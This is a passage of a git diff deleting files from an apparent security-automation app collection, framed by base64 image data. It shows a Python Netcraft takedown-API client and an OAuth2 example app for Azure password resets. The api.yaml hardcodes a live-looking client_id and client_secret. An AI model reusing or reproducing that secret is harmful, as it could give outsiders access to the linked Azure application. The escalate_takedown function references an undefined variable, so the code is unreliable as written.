i06o2O5WHlt/Yt0FGA9TlA4AR89w/8BLHIPKIhHwH4AAAAldEVYdGRhdGU6Y3JlYXRlADIwMTktMDktMDJUMDg6NTY6MDItMDQ6MDBlH8+6AAAAJXRFWHRkYXRlOm1vZGlmeQAyMDE5LTA5LTAyVDA4OjU1OjQ1LTA0OjAwvpj8cQAAAABJRU5ErkJggg== diff --git a/netcraft/1.0.0/requirements.txt b/netcraft/1.0.0/requirements.txt deleted file mode 100644 index fd7d3e06..00000000 --- a/netcraft/1.0.0/requirements.txt +++ /dev/null @@ -1 +0,0 @@ -requests==2.25.1 \ No newline at end of file diff --git a/netcraft/1.0.0/src/app.py b/netcraft/1.0.0/src/app.py deleted file mode 100755 index 0bd1a3e5..00000000 --- a/netcraft/1.0.0/src/app.py +++ /dev/null @@ -1,190 +0,0 @@ -import time -import json -import random -import socket -import asyncio -import requests - -from walkoff_app_sdk.app_base import AppBase - -class Netcraft(AppBase): - __version__ = "1.0.0" - app_name = "netcraft" - - def __init__(self, redis, logger, console_logger=None): - """ - Each app should have this __init__ to set up Redis and logging. - :param redis: - :param logger: - :param console_logger: - """ - super().__init__(redis, logger, console_logger) - - def report_attack(self, user, password, attack, comment): - url = "https://takedown.netcraft.com/apis/authorise.php" - headers = { - "Content-Type": "application/json" - } - - data = { - "attack": attack, - "comment": comment, - } - - auth = (user, password) - return requests.post(url, auth=auth, headers=headers, data=data).text - - # Can add a lot more to this - def get_takedowns(self, user, password, id="", group_id="", url="", ip="", attack_url="", domain_attack="", statuses="", phishkit_only=""): - url = "https://takedown.netcraft.com/apis/get-info.php" - headers = { - "Content-Type": "application/json" - } - - # Set from-date to 2019-01-01 or >6m as its super slow otherwise - params = { - "id_after": "6000000" - } - - if id: - params["id"] = id - if group_id: - params["group_id"] = group_id - if url: - params["url"] = url - if ip: - params["ip"] = ip - if attack_url: - params["attack_url"] = attack_url - if domain_attack: - params["domain_attack"] = domain_attack - if statuses: - params["statuses"] = statuses - if phishkit_only: - params["phishkit_only"] = phishkit_only - - auth = (user, password) - return requests.get(url, auth=auth, headers=headers, params=params).text - - def get_takedown(self, user, password, id="", group_id=""): - url = "https://takedown.netcraft.com/apis/get-info.php" - headers = { - "Content-Type": "application/json" - } - - params = { - "id": id, - "group_id": group_id, - } - - auth = (user, password) - return requests.get(url, auth=auth, headers=headers, params=params).text - - def escalate_takedown(self, user, password, id): - url = "https://takedown.netcraft.com/apis/escalate.php" - headers = { - "Content-Type": "application/json" - } - - data = { - "takedown_id": takedown_id, - } - - auth = (user, password) - return requests.post(url, auth=auth, headers=headers, data=data).text - - # This is a workaround lmao - def screenshot(self, user, password, takedownurl, proxies="dk"): - if not isinstance(proxies, list) or len(proxies) == 0: - if ", " in proxies: - proxies = proxies.split(", ") - else: - proxies = proxies.split(",") - - if len(takedownurl) == 0: - print("The url to take down needs to be defined") - return "" - - homepage = "https://takedown.netcraft.com" - loginhost = "https://sso.netcraft.com" - screenshoturl = "https://screenshot.netcraft.com/index.cgi" - - # Imitate firefox - headers = { - "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0" - } - auth = (user, password) - - print("Making new session with CSRF tokens etc, imitating firefox (:") - client = requests.Session() - ret = client.get(homepage) - csrf_token = "" - for line in ret.text.split("\n"): - if "csrf_token" in line: - token_prefix = line.split(" ")[7] - csrf_token = token_prefix.split("=")[1][1:-1] - break - - if not csrf_token: - print("Didn't find any csrf token") - return "" - - logindata = { - "csrf_token": csrf_token, - "destination": "https://takedown.netcraft.com/", - "credential_0": user, - "credential_1": password - } - - print("Logging in with user %s" % user) - newret = client.post("%s/login" % loginhost, data=logindata, headers=headers, cookies=client.cookies) - - if len(client.cookies) <= 1: - print("RAW: %s\n\nMissing cookies after login: %s" % (newret.text, newret.status_code)) - return "" - - screenshotparams = { - "url": takedownurl, - "type": "interface", - "level": "customer", - "proxy_cc": ",".join(proxies), - "proxy_single": "1" - } - - print("Taking screenshot of %s" % takedownurl) - ret = client.post(screenshoturl, data=screenshotparams, headers=headers) - if ret.status_code != 200: - print("RAW: %s\n\nBad status code: %d", ret.text, ret.status_code) - return "" - - with open("/tmp/tmp", "w+") as tmp: - tmp.write(ret.text) - - print(ret.headers) - imageurl = ret.headers.get("Screenshot") - for line in ret.text.split("\n"): - if "Final URL" in line or "Immediate Redirect URL" in line: - print(line) - - # Logging out - print("Logging out of user %s" % user) - client.post("%s/logout" % loginhost, data=logindata, headers=headers, cookies=client.cookies) - - return imageurl - -# Run the actual thing after we've checked params -def run(request): - action = request.get_json() - print(action) - print(type(action)) - authorization_key = action.get("authorization") - current_execution_id = action.get("execution_id") - - if action and "name" in action and "app_name" in action: - Netcraft.run(action) - return f'Attempting to execute function {action["name"]} in app {action["app_name"]}' - else: - return f'Invalid action' - -if __name__ == "__main__": - Netcraft.run() diff --git a/oauth2-example/1.0.0/Dockerfile b/oauth2-example/1.0.0/Dockerfile deleted file mode 100644 index bfa83edc..00000000 --- a/oauth2-example/1.0.0/Dockerfile +++ /dev/null @@ -1,26 +0,0 @@ -# Base our app image off of the WALKOFF App SDK image -FROM frikky/shuffle:app_sdk as base - -# We're going to stage away all of the bloat from the build tools so lets create a builder stage -FROM base as builder - -# Install all alpine build tools needed for our pip installs -RUN apk --no-cache add --update alpine-sdk libffi libffi-dev musl-dev openssl-dev - -# Install all of our pip packages in a single directory that we can copy to our base image later -RUN mkdir /install -WORKDIR /install -COPY requirements.txt /requirements.txt -RUN pip install --prefix="/install" -r /requirements.txt - -# Switch back to our base image and copy in all of our built packages and source code -FROM base -COPY --from=builder /install /usr/local -COPY src /app - -# Install any binary dependencies needed in our final image -RUN apk --no-cache add --update libmagic - -# Finally, lets run our app! -WORKDIR /app -CMD python app.py --log-level DEBUG diff --git a/oauth2-example/1.0.0/api.yaml b/oauth2-example/1.0.0/api.yaml deleted file mode 100644 index 40c44127..00000000 --- a/oauth2-example/1.0.0/api.yaml +++ /dev/null @@ -1,53 +0,0 @@ -walkoff_version: 1.0.0 -app_version: 1.0.0 -name: oauth2-example -description: Oauth2 sample -tags: - - Example -categories: - - Example -contact_info: - name: "@frikkylikeme" - url: https://github.com/frikky -authentication: - required: true - type: oauth2 - redirect_uri: "https://login.microsoftonline.com/common/oauth2/authorize" - token_uri: "https://login.microsoftonline.com/common/oauth2/v2.0/token" - client_id: "dae24316-4bec-4832-b660-4cba6dc2477b" - client_secret: "._Qu3EvYY-OW_D57uy79qwEo.32qD6.l0z" - scope: - - UserAuthenticationMethod.ReadWrite.All -actions: - - name: reset_password - description: Change password of a user in Azure - parameters: - - name: userId - description: - example: "user@company.com" - required: true - schema: - type: string - - name: passwordId - description: - example: "28c10230-6103-485e-b985-444c60001490" - required: true - schema: - type: string - - name: newPassword - description: - example: "*****" - required: false - schema: - type: string - returns: - example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string - - name: get_password_methods - description: Get available password methods for your user - returns: - example: '{"data": "this is a test", "this_is_a_number": 1, "this_is_a_list": [{"item": [{"hello": "there", "how_is_this": {"sub_in_sub": [{"another": "list"}]}}]}, {"item": "2"}], "subobject": {"data": "subobject"}}' - schema: - type: string -large_image: data:image/png;base64,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